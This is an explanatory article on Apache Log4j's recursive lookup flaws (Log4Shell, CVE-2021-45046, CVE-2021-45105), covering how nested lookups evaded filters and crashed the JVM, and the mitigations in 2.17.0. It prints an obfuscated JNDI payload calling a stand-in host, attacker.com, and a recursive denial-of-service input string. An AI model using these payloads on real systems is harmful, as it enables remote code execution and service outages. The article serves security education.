Log4j Recursive Lookup Vulnerabilities Explained
Apache Log4j’s lookup evaluation mechanism, designed to dynamically resolve configuration properties and runtime variables, introduced critical security flaws when handling nested and recursive expressions. This article examines the security vulnerabilities caused by recursive lookup evaluation within Log4j XML configurations—specifically Remote Code Execution (RCE) and Denial of Service (DoS)—and details how configuration design patterns allowed malicious inputs to trigger these flaws.
The Mechanism of Recursive Lookup Evaluation
Log4j uses a string substitution engine called
StrSubstitutor to parse expressions enclosed in
${...}. When a lookup prefix (such as jndi:,
ctx:, or env:) is detected, Log4j evaluates
the expression and replaces it with the corresponding value.
In vulnerable versions, this evaluation was performed recursively. If
the resolved value itself contained another ${...}
expression, the engine attempted to evaluate the nested expression
repeatedly until no further substitution tags were found.
Remote Code Execution and Filter Evasion (CVE-2021-44228 and CVE-2021-45046)
Recursive evaluation significantly amplified the severity of the Log4Shell vulnerability:
- WAF and Filter Bypasses: Attackers used nested
lookups to evade Web Application Firewalls (WAFs) and static input
filters. By constructing payloads such as
${${lower:j}ndi:${lower:l}dap://attacker.com/exploit}, the initial string did not contain explicit forbidden strings likejndi:ldap. Recursive parsing evaluated the inner${lower:...}expressions first, reconstructing the malicious JNDI payload at runtime. - Context Lookups in Custom Layouts: Non-default XML
pattern layouts using Thread Context Map (MDC) lookups (e.g.,
$${ctx:userId}) allowed attackers to inject lookup strings directly into log patterns. Even after initial mitigations disabled generic message lookups, recursive resolution of context variables in pattern layouts still permitted JNDI resolution, resulting in CVE-2021-45046.
Denial of Service via Infinite Recursion (CVE-2021-45105)
When applications configured non-default Pattern Layouts with Context
Lookups in log4j2.xml, such as:
<PatternLayout pattern="%d %p %t %c $${ctx:loginId} %m%n" />Log4j evaluated the $${ctx:loginId} directive
dynamically during log formatting.
If an attacker submitted an input designed to reference itself recursively, such as:
${${::-${::-$${::-j}}}}
or self-referencing variable chains like:
${ctx:loginId}
the StrSubstitutor class entered an uncontrolled
recursive loop while attempting to resolve the nested tokens. Because
there was no recursion depth limit, the Java Virtual Machine (JVM)
exhausted its stack space, throwing a
java.lang.StackOverflowError. This immediately crashed the
logging thread or the entire application process, resulting in a remote
Denial of Service.
Mitigation and Architectural Fixes
To remediate vulnerabilities arising from recursive lookups:
- Recursion Disablement: In Log4j 2.17.0 and later,
recursive evaluation was completely removed from
StrSubstitutor. Lookups are strictly evaluated in a non-recursive manner. - Context Data Isolation: Only static, predefined lookup expressions are evaluated in configuration files; dynamically supplied user data from context maps cannot trigger nested lookup operations.
- Removal of JNDI Lookup Support: Support for the JNDI lookup protocol was disabled by default and restricted to prevent remote protocol invocations.